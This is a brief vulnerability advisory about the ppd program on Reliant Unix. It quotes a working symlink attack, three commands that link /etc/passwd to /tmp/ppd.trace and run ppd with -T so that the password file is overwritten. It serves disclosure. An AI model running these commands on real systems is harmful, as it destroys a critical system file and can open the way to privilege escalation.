Reliant Unix ppd shell code exploit



Vulnerability

    ppd

Affected

    Reliant Unix

Description

    Pablo Ruiz Garcia posted following.

        ln -s /etc/passwd /tmp/ppd.trace

        /opt/bin/ppd -T

        cat /etc/passwd
        [..]

    OOps..  (try to backup your /etc/passwd before you try this).

    Also, if you specify any kind of parameter other than -T ppd  will
    try to call this number, but do not dump to /tmp/ppd.trace so  you
    cant use the tmp race.

Solution

    Siemens knows about it.
